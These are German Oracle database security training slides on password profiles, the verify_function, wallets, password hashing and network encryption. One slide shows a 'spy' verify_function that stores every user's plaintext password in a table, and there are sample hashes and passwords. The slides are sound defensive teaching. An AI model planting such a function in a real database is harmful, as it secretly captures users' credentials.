MuniQSoft GmbH Security I 3 - 26Kapitel 3 - Benutzer & Passwörter

Stichwörter: Default-Passwörter

Security I 3 - 26

Page 121: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Schutz durch Profile

Alle Benutzer bekommen standardmäßig das Profil „DEFAULT“ zugewiesen

Dort sind keine besonderen Schutzvorkehrungen getroffen

ALTER PROFILE DEFAULT LIMIT FAILED_LOGIN_ATTEMPTS 3 PASSWORD_LOCK_TIME 5;

Nach dem 3ten Fehlversuch erscheint

SQL> connect scott/w

ERROR:

ORA-28000: Account ist gesperrt

MuniQSoft GmbH Security I 3 - 27Kapitel 3 - Benutzer & Passwörter

Stichwörter: Schutz durch Profile

Security I 3 - 27

Page 122: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Schutz durch Profile

Lebensdauer der Passwörter (Beispiel:60 Tage)

Innerhalb der Grace Time (nach Ablauf der Life Time ) kann noch das alte Passwort benutzt werden.

In unserm Beispiel muss spätestens nach 80 Tagen ei n neues Passwort benutzt werden

ALTER PROFILE DEFAULT LIMIT PASSWORD_LIFE_TIME 60 PASSWORD_GRACE_TIME 20;

MuniQSoft GmbH Security I 3 - 28Kapitel 3 - Benutzer & Passwörter

Stichwörter: Schutz durch Profile

Security I 3 - 28

Page 123: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Schutz durch Profile

Passwort-Wiederverwendung

Man kann einstellen, wie lange das Passwort nicht e rneut verwendet werden darf

Parameter wird in Tagen oder Wechselanzahl eingeste llt

ALTER PROFILE DEFAULT LIMIT PASSWORD_REUSE_TIME 60 PASSWORD_REUSE_MAX 2;

MuniQSoft GmbH Security I 3 - 29Kapitel 3 - Benutzer & Passwörter

Setzen Sie die Oracle-Passwortfunktion „verify_function“ein durch Ausführen des Skripts

ORACLE_HOME/rdbms/admin/utlpwdmg.sql

Dieses Skript muss als SYS gestartet werden

Passwörter sollten dann nicht mittels ALTER USER <user> IDENTIFIED BY <pwd> geändert werden sondern über SQL*Plus

SQL>password

Stichwörter: Schutz durch Profile

Security I 3 - 29

Page 124: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Schutz durch Profile

Die Passwort-Funktion wird eingeschalten durch:

ALTER PROFILE default LIMITPASSWORD_VERIFY_FUNCTION verify_function;

Ausschalten kann man sie mittels:

ALTER PROFILE default LIMITPASSWORD_VERIFY_FUNCTION null;

MuniQSoft GmbH Security I 3 - 30Kapitel 3 - Benutzer & Passwörter

Stichwörter: Schutz durch Profile

Security I 3 - 30

Page 125: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Schutz durch Passwortfunktion

Setzen Sie die Oracle-Passwortfunktion „verify_func tion“ein durch Ausführen des Skripts

@?/rdbms/admin/utlpwdmg.sql

Dieses Skript muss als SYS gestartet werden

Passwörter sollten nicht mittels ALTER USER <user> IDENTIFIED BY <pwd> geändert werden sondern über SQL*Plus

MuniQSoft GmbH Security I 3 - 31Kapitel 3 - Benutzer & Passwörter

CREATE OR REPLACE FUNCTION sys.verify_function(username varchar2,password varchar2, old_password varchar2)

RETURN boolean IS n boolean;m integer;differ integer;isdigit boolean;ischar boolean;ispunct boolean;digitarray varchar2(20);punctarray varchar2(25);chararray varchar2(52);

BEGIN digitarray:= '0123456789';chararray:= 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';punctarray:='!"#$%&()``*+,-/:;<=>?_';

-- Check if the password is same as the usernameIF NLS_LOWER(password) = NLS_LOWER(username) THENraise_application_error(-20001, 'Password same as or similar to user');END IF;-- Check for the minimum length of the passwordIF length(password) < 4 THENraise_application_error(-20002, 'Password length less than 4');END IF;-- Check if the password is too simple. A dictionary of words may be maintained and a check may be made so as-- not to allow the words that are too simple for the password.IF NLS_LOWER(password) IN ('welcome', 'database', 'account', 'user', 'password', 'oracle', 'computer', 'abcd') THENraise_application_error(-20002, 'Password too simple');END IF;-- Check if the password contains at least one letter, one digit and on punctuation mark.-- 1. Check for the digit

Stichwörter: Schutz durch Passwortfunktion

Security I 3 - 31

Page 126: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Die Passwortfunktion

Kann vom Benutzer nachträglich geändert und neu kompiliert werden

Nehmen Sie jedoch dafür einen neuen Namen

Ändern Sie z. B. die minimale Passwortlänge auf 6

IF length(password) < 7 THENraise_application_error(

-20002, 'Password length less than 4');END IF;

MuniQSoft GmbH Security I 3 - 32Kapitel 3 - Benutzer & Passwörter

isdigit:=FALSE;m := length(password);

FOR i IN 1..10 LOOP FOR j IN 1..m LOOP

IF substr(password,j,1) = substr(digitarray,i,1) THEN isdigit:=TRUE;GOTO findchar;

END IF;END LOOP;

END LOOP;IF isdigit = FALSE THENraise_application_error(-20003, 'Password should contain at least one digit, one character and one punctuation');END IF;-- 2. Check for the character<<findchar>>ischar:=FALSE;FOR i IN 1..length(chararray) LOOP

FOR j IN 1..m LOOP IF substr(password,j,1) = substr(chararray,i,1) THEN

ischar:=TRUE;GOTO findpunct;

END IF;END LOOP;

END LOOP;IF ischar = FALSE THEN

raise_application_error(-20003, 'Password should contain at least one digit, one character and one punctuation');END IF;-- 3. Check for the punctuation<<findpunct>>ispunct:=FALSE;FOR i IN 1..length(punctarray) LOOP

FOR j IN 1..m LOOP IF substr(password,j,1) = substr(punctarray,i,1) THEN

ispunct:=TRUE;GOTO endsearch;

END IF;END LOOP;

END LOOP;

Stichwörter:Passwortfunktion

Security I 3 - 32

Page 127: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Die Passwortfunktion

Ändern Sie auch die gängigsten Passwörter ab (z. B. Hinzufügen des Firmennamens)

IF NLS_LOWER(password) IN ('welcome', 'database', 'account', 'user', 'password', 'oracle', 'computer', 'abcd','123456','123','gast','qwert') THEN

raise_application_error(-20002, 'Password too simple');END IF;

MuniQSoft GmbH Security I 3 - 33Kapitel 3 - Benutzer & Passwörter

IF ispunct = FALSE THENraise_application_error(-20003, 'Password should contain at least one \

digit, one character and one punctuation');END IF;<<endsearch>>-- Check if the pwd differs from the previous pwd by at least 3 lettersIF old_password IS NOT NULL THENdiffer := length(old_password) - length(password);IF abs(differ) < 3 THENIF length(password) < length(old_password) THENm := length(password);ELSEm := length(old_password);END IF;differ := abs(differ);FOR i IN 1..m LOOPIF substr(password,i,1) != substr(old_password,i,1) THENdiffer := differ + 1;END IF;END LOOP;IF differ < 3 THENraise_application_error(-20004, 'Password should differ by at least 3 characters');END IF;END IF;END IF;-- Everything is fine; return TRUE ; RETURN(TRUE);END;

Stichwörter:Passwortfunktion

Security I 3 - 33

Page 128: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Passwortfunktion als Spion ☺☺☺☺

CREATE OR REPLACE FUNCTION verify_function

(username varchar2,password varchar2,old_password varchar2)RETURN boolean IS

BEGINinsert into meine_passwortliste (usr,pwd) values (username,password);RETURN TRUE;END;

ALTER PROFILE default LIMIT PASSWORD_VERIFY_FUNCTION verify_function;

MuniQSoft GmbH Security I 3 - 34Kapitel 3 - Benutzer & Passwörter

Stichwörter: Passwortfunktion als Spion

Security I 3 - 34

Page 129: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Neue Passwort-Prüf-Funktion in 12c

Oracle liefert schon seit der Version 8i ein Skript (utlpwdmg.sql) zur Prüfung der Passwortqualität aus

Neu in 12c sind folgende Funktionen:

verify_function_11g (entspricht der alten Überprüfu ng)

ora12c_verify_function (Prüft einige zusätzliche As pekte wie Passwort=Servername)

ora12c_strong_verify_function (Erfüllt sogar die Richtlinien des US Verteidigungsministeriums) [in 1 2.1.0.2 wieder entfernt]

MuniQSoft GmbH Security I 3 - 35Kapitel 3 - Benutzer & Passwörter

Security I 3 - 35

Page 130: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Anmeldung mit verschlüsselten Passwort

Folgende Parameter werden für eine Anmeldung an der DB verwendet:

Aliasname der TNSNAMES.ORA

Servername oder IP Adresse

Portnummer des Listener

Service Name oder SID

Aliasname der Verschlüsselung

Benutzername

Passwort

TNSNAMES Datei

Wallet Datei

Müssen gleich sein

MuniQSoft GmbH Security I 3 - 36Kapitel 3 - Benutzer & Passwörter

Security I 3 - 36

Page 131: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Leider kann dadurch auch nur der Ersteller das Wallet für Zugriffe auf Datenbanken nutzen, unabhängig von den Betriebssystemberechtigungen dieser Datei(en). Unberechtigte Benutzer oder Server erhalten bei der Benutzung dieses Wallets eine Fehlermeldung: ERROR:ORA-12578: TNS:wallet open failed

Stichwörter: Anmeldung mit verschlüsselten Passwort

Anmeldung mit verschlüsselten Passwort

Wallet für verschlüsselte Passwörter anlegen:

SET ORACLE_HOME= d:\oracle\product\11.2.0\dbhome_1

SET CONNECT_ALIAS=o11g

%ORACLE_HOME%\bin\mkstore -wrl "%ORACLE_HOME%\NETWORK\ADMIN" –create

Ausgabe:

Kennwort eingeben geheim123#

Kennwort erneut eingeben geheim123#

Dadurch werden zwei Dateien angelegt (cwallet.sso und ewallet.p12). Wenn diese auf einen anderen Rechner kopiert werden, kan n man auch dort mit den Wallet-Inhalten arbeiten.

Ab 11.2 kann ein Wallet angelegt werden, dessen Dat eien nur auf dem lokalen Server funktionieren:

orapki wallet create -wallet "." -auto_login_local

MuniQSoft GmbH Security I 3 - 37Kapitel 3 - Benutzer & Passwörter

Security I 3 - 37

Page 132: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Anmeldung mit verschlüsselten Passwort

Passwort für Benutzer SCOTT verschlüsselt speichern

%ORACLE_HOME%\bin\mkstore -wrl "%ORACLE_HOME%\NETWORK\ADMIN" -createCredential %CONNECT_ALIAS% scott tiger

Ausgabe

Wallet-Kennwort eingeben: geheim123#

Legen Sie einen tnsnames.ora Eintrag mit Namen des CONNECT_ALIAS an:

o11g = (DESCRIPTION =(ADDRESS = (PROTOCOL = TCP)(HOST = 127.0.0.1)(PORT = 1521))(CONNECT_DATA = (SERVER = DEDICATED)

(SERVICE_NAME = o11g)) )

Tragen Sie in die sqlnet.ora Datei auf dem Client e in:

WALLET_LOCATION=(SOURCE=(METHOD=FILE) (METHOD_DATA = (DIRECTORY = d:\oracle\product\11.2.0\dbhome_1\network\admin))) SQLNET.WALLET_OVERRIDE = TRUE

Ein Anmeldung ist nun möglich über:

sqlplus /@o11g

MuniQSoft GmbH Security I 3 - 38Kapitel 3 - Benutzer & Passwörter

Stichwörter: Anmeldung mit verschlüsselten Passwort

Security I 3 - 38

Page 133: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Neuer / alter Password Hash

Oracle hat seit 11.1 eine neue Passwortverschüsselungs-Methode auf Basis des SHA 160 Bit Algorithmus entwickelt

Leider wird auch das alte Verfahren noch parallel verwendet, um auch älteren Clients eine Möglichkeit zu geben, sich noch anzumelden

Die Passwörter stehen in den Spalten password (alt) bzw. spare4 (neu) der Tabelle sys.user$

MuniQSoft GmbH Security I 3 - 39Kapitel 3 - Benutzer & Passwörter

Security I 3 - 39

Page 134: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Neuer / alter Password Hash

Oracle empfiehlt laut MOS Doc ID 463999.1 folgenden Befehl bis 12.1.0.2 abzusetzen, wenn nur noch das neue Ver fahren benutzt werden soll:

UPDATE user$ SET PASSWORD = null;

Leider wird im Dokument verschwiegen, dass das nach jeder Passwortänderung erneut durchgeführt werden muss

Im Skript unten wird dies durch einen Trigger autom atisiert

Zusätzlich muss in der Server seitigen sqlnet.ora D atei der folgende Parameter gesetzt werden:

SQLNET.ALLOWED_LOGON_VERSION=12

MuniQSoft GmbH Security I 3 - 40Kapitel 3 - Benutzer & Passwörter

CREATE OR REPLACE TRIGGER sys.check_alter_userAFTER ALTER ON DATABASEDECLAREPRAGMA AUTONOMOUS_TRANSACTION;BEGIN

IF DICTIONARY_OBJ_TYPE='USER' THENDBMS_SCHEDULER.CREATE_JOB (job_name => 'REMOVE_OLD_PWD',job_action => '

DECLAREmy_usr VARCHAR2(64):='''||DICTIONARY_OBJ_NAME||''';BEGIN UPDATE sys.user$ SET password=NULL WHERE name=my_us r;COMMIT;END;',

start_date => SYSTIMESTAMP+ INTERVAL '2' second,job_type => 'PLSQL_BLOCK',enabled => TRUE);commit;

END IF;EXCEPTION WHEN OTHERS THEN NULL;

END;/

Security I 3 - 40

Page 135: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Abschalten des alten PWD Algorithmus

Seit Oracle 11 wird ein neuer PWD Algorithmus verwe ndet. Leider wird der alte nicht automatisch abgeschaltet .

Sie können das in der Datei der sqlnet.ora konfigur ieren

10g Clients (mit CPUOct2012) und höher

SQLNET.ALLOWED_LOGON_VERSION_SERVER=11

11g Clients Verschlüsselung verwenden (ab 11.2.0.3) :

SQLNET.ALLOWED_LOGON_VERSION_SERVER=12

11g und 12c Verschlüsselung verwenden (ab 12.1.0.2) :SQLNET.ALLOWED_LOGON_VERSION_SERVER=12a

Hier wird beim Neusetzen des Passworts sowohl die a lte 10g als auch 11g Form des Passworts entfernt

MuniQSoft GmbH Security I 3 - 41Kapitel 3 - Benutzer & Passwörter

Hinweis:

Auf Clientseite gibt es den zugehörigen korrespondierenden Parameter:SQLNET.ALLOWED_LOGON_VERSION_CLIENTAuch dieser kann die Werte:12a für Oracle Database 12c Release 1 (12.1) 12.1.0.2 oder höher12 für den Critical Patch Updates CPUOct2012 oder später +Oracle Database 11g Authentication Protocols (Empfohlen)11 für Oracle Database 11g Authentication Protocols (dDfault)10 für Oracle Database 10g Authentication Protocols8 für Oracle8i Authentication Protocols

Hinweis:

Sie bekommen eine ORA-01017 Fehlermeldung, wenn Sie sich mit einer zu niedrigen Client-Version anmelden.

Security I 3 - 41

Page 136: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Abschalten des alten PWD Algorithmus

Wenn im Parameter SQLNET.ALLOWED_LOGON_VERSION_SERVER=12[a] steht, wird die Spalte password der Tabelle sys.use r$ nicht mehr gefüllt

Damit ist der alte Algorithmus abgeschalten, es kön nen sich aber nur noch Clients mit entsprechnd hoher Version anmelden

Empfehlung von Oracle: Alle bisherigen Accounts nac h einer Migration auf Expire setzen und neu vergeben [lassen]

ALTER USER <user> PASSWORD EXPIRE;

MuniQSoft GmbH Security I 3 - 42Kapitel 3 - Benutzer & Passwörter

Testcase unter 12.1.0.2: (Jedes Mal neu anmelden !)

ALTER USER marco IDENTIFIED BY abc; SELECT name,password,spare4 FROM user$WHERE name='MARCO';

Mit SQLNET.ALLOWED_LOGON_VERSION_SERVER=12aH:962BC5437A88D9AED498DD155B4B70A2;T:04527A91D30B1A9D850D1D5DF1D6C7C3252FB6E35E51E239C1CB9F42F5559DA1E669E0DF6B982D7A45D1FDE4255C6ED8560E649AF3E9EBB06AA8D7AAA968F460FCB926F31BBFF99C0237908C42DD4C90

Mit SQLNET.ALLOWED_LOGON_VERSION_SERVER=12 S:A88A6DDF33EB3846F1B7D5075F91DE0095F9E5FDBDABC052A82353E628D8;H:962BC5437A88D9AED498DD155B4B70A2;T:5D31FC2A24536479D857696E3377229265C535D01DA39DCCA58C33827A0E01B42D1194A0F59B02DE7714825AD8F9860A0BF6F21159F4D545AB174A287BF15447054CF9A24A4D5DCDA7F14C289C3C75CC

Security I 3 - 42

Page 137: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Neue Passwortverschlüsselung in 12.1.0.2

Oracle verwendet ab 12.1.0.2 den SHA-512 Krypto-Has h für die Passwortverschlüsselung

Zuerst wird PBKDF2 incl Salt verwendet (http://de.wikipedia.org/wiki/PBKDF2) um Rainbow Ta bles und Brut Force Angriffe zu erschweren

OCI und JDBC Client in der Version 12c unterstützen diese neue Authentifizierung

MuniQSoft GmbH Security I 3 - 43Kapitel 3 - Benutzer & Passwörter

Security I 3 - 43

Page 138: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Kapitel 4Netzwerksicherheit

Security I 4 - 1

Page 139: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Der Listener dient dem Verbindungsaufbau zwischen Client und Server. Er ist auf dem Server installiert und kommuniziert mit dem Client auf einem fest definierten Port. Wenn das Netzwerk sauber strukturiert ist, kann definiert werden, welche Clients sich anmelden dürfen und welche nicht. Die folgenden Parameter beziehen sich auf die Listener-Steuerdatei (Listener.ora), die sich im <ORACLE_HOME>/Network/Admin Verzeichnis befindet.Sollte der Parameter TNS_ADMIN (unter Windows in der Registry, unter UNIX in der Datei .profile/.cshrc) gesetzt sein, kann das Verzeichnis auch anders lauten.

Beispiel für Listener.ora:LISTENER =

(DESCRIPTION_LIST =

(DESCRIPTION =

(ADDRESS_LIST =

(ADDRESS = (PROTOCOL = IPC)(KEY = EXTPROC)))

(ADDRESS_LIST =

(ADDRESS = (PROTOCOL = TCP)(HOST = 192.168.1.13)(PO RT =

1521))

)

)

)

Einleitung

Generell sollte der Listener bei Verdacht eines Ang riffs mittelsTracing und Logging überwacht werden

Es ist außerdem einstellbar, dass man sich nur von bestimmten Clients aus anmelden kann

Leider sind einige Sicherheitslücken beim Listener aufgetaucht, die u. U. nur mit neuen Patches behebbar sind. Prüf en Sie hier die neuesten Einträge unter myoraclesupport.com

MuniQSoft GmbH Kapitel 4 - Netzwerksicherheit Security I 4 - 2

Security I 4 - 2

Page 140: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Tipps & Tricks

Verwenden Sie nicht die Standard Ports 1521 und 152 6 sondern z.B. einen anderen Port wie 56789

Überwachen Sie die listener.ora und die Log-Dateien

Wenn möglich sollte die Standard ORACLE_SID wie ORC L, TEST oder PROD nicht verwendet werden

MuniQSoft GmbH Kapitel 4 - Netzwerksicherheit Security I 4 - 3

Stichwörter: Tipps

Security I 4 - 3

Page 141: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Netzwerkverschlüsselung

SniffingHierunter wird das Abhören des Netzwerkverkehrs ver standen. Switches schicken eigentlich nur noch die Pakete an den richtigen Empfänger und nicht an jeden Rechner, jedoch kann m it div. Tools eine falsche IP-Adresse vorgetäuscht werdenAuch das Anzapfen der Netzwerkschränke stellt eine Möglichkeit der Spionage dar

Man in the MiddleVerändern der Inhalte der Pakete, die zwischen Clie nt und Server hin und her geschickt werdenSo kann z. B. ein ALTER USER SYS IDENTIFIED BY SYS; Befehl

eingeschmuggelt werden

MuniQSoft GmbH Kapitel 4 - Netzwerksicherheit Security I 4 - 4

Weitere Inhalte der Advanced Security Option:

•Transparente Daten Verschlüsselung • Spaltenverschlüsselung• Tablespaceverschlüsselung•Netzwerk Verschlüsselung und Datenintegrität •Starke Authentifikation mittels• Kerberos • RADIUS (Remote Authentication Dial-In User Service) • Secure Sockets Layer (mit digitalen Zertifikaten) • PKI

Stichwörter: Sniffing, Man in the Middle

Security I 4 - 4

Page 142: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Netzwerkverschlüsselung (f)

Folgende Manipulationen können erkannt werden:Datenmodifikation durch Dritte (Prüfsummen sind fal sch)Datenpakete werden gelöscht (Sequenznummer ist fals ch)Datenpakete werden zusätzlich eingeschleust (Sequen znummer ist falsch)

Wenn Oracle einen dieser Angriffsversuche erkennt, wird die Kommunikation sofort abgebrochenLizenzhinweis (Stand 08/2014):

Network encryption (native network encryption and S SL/TLS) and strong authentication services (Kerberos, PKI, and RADIUS) are no longer part of Oracle Advanced Security and are ava ilable in alllicensed editions of all supported releases of the Oracle database.Das heißt sie ist FREI !!!!!!

MuniQSoft GmbH Kapitel 4 - Netzwerksicherheit Security I 4 - 5

Die Advanced Security Option wurde entwickelt, um einen sicheren Datenverkehr zwischen Client und Server zu ermöglichen. Die Daten werden in beide Richtungen verschlüsselt, um Datenspionage und Datenmanipulation zu verhindern.

Geschwindigkeitseinbuße durch ANO ca. 20%Weitere mögliche TYPES Einstellungen• RC4 40-bit encryption

RC4 56-bit encryption RC4 128-bit encryption RC4 256-bit encryption DES40 40-bit encryption DES 56-bit encryption 3DES 112-bit encryption 3DES 168-bit encryption AES 128-bit encryption AES 192-bit encryption AES 256-bit encryption MD5 crypto-checksumming SHA-1 crypto-checksumming Kerberos v5 authentication RADIUS authentication

• Folgender Fehler kann auftreten:• ERROR: ORA-12645: Parameter nicht vorhanden.

Lösung:• Parameter CRYPTO_SEED wurde vergessen• Text des Parameters CRYPTO_SEED wurde nicht in "" gesetzt

Stichwörter: erkennbare Manipulationen

Security I 4 - 5

Page 143: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

SQLNET.ORA Parameter

Verschlüssellungsart:SQLNET.ENCRYPTION_TYPES_[CLIENT|SERVER]

Aktivierung der VerschlüsselungsartSQLNET.ENCRYPTION_[CLIENT|SERVER]

Prüfsummen gegen DatenmanipulationSQLNET.CHECKSUM_TYPES_[ CLIENT|SERVER]

Aktivierung der PrüfsummenSQLNET.CRYPTO_CHECKSUM _[ CLIENT|SERVER]

MuniQSoft GmbH Kapitel 4 - Netzwerksicherheit Security I 4 - 6

Security I 4 - 6

Page 144: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Integritätsprüfung

Prüfsummen erzeugen, damit Daten auf dem Weg zwisch en Client-Server-Client nicht manipuliert werden könne nServer-Seite

SQLNET.CRYPTO_CHECKSUM_TYPES_SERVER = (MD5)

SQLNET.CRYPTO_CHECKSUM_SERVER = REQUIRED

Client-SeiteSQLNET.CRYPTO_CHECKSUM_TYPES_CLIENT = (MD5)

SQLNET.CRYPTO_CHECKSUM_CLIENT = REQUESTED

Weitere mögliche TYPES EinstellungenMD5 (RSA MD5 Algorithmus (unsicher))SHA1SHA256 oder SHA384 oder SHA512 (ab 12.1)

MuniQSoft GmbH Kapitel 4 - Netzwerksicherheit Security I 4 - 7

Stichwörter: Integritätsprüfung

Security I 4 - 7

Page 145: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Einstellung in der SQLNET.ORA

Verschlüsselung des Datenverkehrs aktivieren:Server Seite:

SQLNET.ENCRYPTION_TYPES_SERVER= RC4_256

SQLNET.ENCRYPTION_SERVER = REQUIRED

Client Seite:SQLNET.ENCRYPTION_TYPES_CLIENT= RC4_256

SQLNET.ENCRYPTION_CLIENT = REQUIRED

Das passiert, wenn man nicht verschlüsselt …

MuniQSoft GmbH Kapitel 4 - Netzwerksicherheit Security I 4 - 8

Stichwörter: Verschlüsselung des Datenverkehrs

Mögliche Einstellungen für ENCRYPTION:

• ACCEPTED• REJECTED• REQUESTED• REQUIRED

Mögliche Einstellungen ENCRYPTION_TYPES

•3des112 für triple DES mit einer zwei Schlüssel (112-bit) Option•3des168 für triple DES mit einer zwei Schlüssel (168-bit) Option•aes128•aes192•aes256•des für Standard DES (56-bit Schlüssel)•des40 für DES (40-bit Schlüssel)•rc4_40 für RSA RC4 (40-bit Schlüssel)•rc4_56 für RSA RC4 (56-bit Schlüssel)•rc4_128 für RSA RC4 (128-bit Schlüssel)•rc4_256 für RSA RC4 (256-bit Schlüssel)

Security I 4 - 8

Page 146: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Client/Server Einstellkombinationen

Client

Server

Rejected Accepted Requested Required

Rejected Nein Nein Nein Keine Verb.

Accepted Nein Nein Ja Ja

Requested Nein Ja Ja Ja

Required Keine Verb. Ja Ja Ja

MuniQSoft GmbH Kapitel 4 - Netzwerksicherheit Security I 4 - 9

Required• Der Sicherheitsdienst wird zwingend verwendet, sonst entsteht keine Verbindung

Requested• Der Sicherheitsdienst wird benutzt, wenn die Gegenseite ihn auch unterstützt

Accepted• Der Sicherheitsdienst wird verwendet, wenn die Gegenseite ihn erbittet

Rejected• Der Sicherheitsdienst wird nicht verwendet, auch wenn die Gegenseite ihn

anfordert

Stichwörter: Server/Client Einstellkombinationen

Security I 4 - 9

Page 147: Sicherheit in der Oracle Datenbank · 4. Logon Trigger 5. System-Trigger 6. Beispiel System-Trigger 7. DDL-Trigger 11. Beispiel DDL-Trigger 12. Weiteres Beispiel Inhaltsverzeichnis

Funktionstest der Verschlüsselung

Schalten Sie Tracing in der Datei SQLNET.ORA ein:TRACE_LEVEL_CLIENT = 16

TRACE_DIRECTORY_CLIENT = /u01/trace

Hinweis: Unter Windows wird immer ins C:\Documents and Settings\Oracle\oradiag_\diag\clients\user_\host_<. ..>\trace\Verzeichnis geschrieben !!!TRACE_FILE_CLIENT = ano.trc

Melden Sie sich an und setzen sie folgenden Befehl ab:connect system/sys

SELECT 'Marco' FROM dual;

oder

ALTER USER marco IDENTIFIED BY supergeheim;

In der Tracedatei darf das Wort Marco nun nicht vor kommen!

MuniQSoft GmbH Kapitel 4 - Netzwerksicherheit Security I 4 - 10

Wenn die Verschlüsselung nicht eingeschaltet wurde, kann man den Netzwerkverkehr mitlesen:

[23-FEB-2005 13:59:51:716] nsprecv: packet dump

[23-FEB-2005 13:59:51:716] nsprecv: 01 20 00 00 06 00 00 00 |........|

[23-FEB-2005 13:59:51:716] nsprecv: 00 00 10 19 35 09 5B 17 |....5.[.|

[23-FEB-2005 13:59:51:716] nsprecv: 74 06 83 68 00 00 78 69 |t..h..xi|

[23-FEB-2005 13:59:51:716] nsprecv: 02 17 0E 23 27 ED 02 00 |...#'...|[23-FEB-2005 13:59:51:716] nsprecv: 00 00 00 00 00 05 00 00 |........|

[23-FEB-2005 13:59:51:716] nsprecv: 00 01 00 00 00 37 01 60 |.....7.`|

[23-FEB-2005 13:59:51:716] nsprecv: 80 00 00 05 00 00 00 00 |........|

[23-FEB-2005 13:59:51:716] nsprecv: 00 00 00 00 00 00 00 00 |........|

[23-FEB-2005 13:59:51:716] nsprecv: 00 00 00 00 00 00 00 B2 |........|

[23-FEB-2005 13:59:51:716] nsprecv: 00 01 00 05 00 00 00 01 |........|

[23-FEB-2005 13:59:51:716] nsprecv: 07 07 00 00 00 07 27 4D |...... 'M|

[23-FEB-2005 13:59:51:716] nsprecv: 41 52 43 4F 27 00 00 00 |ARCO' ...|

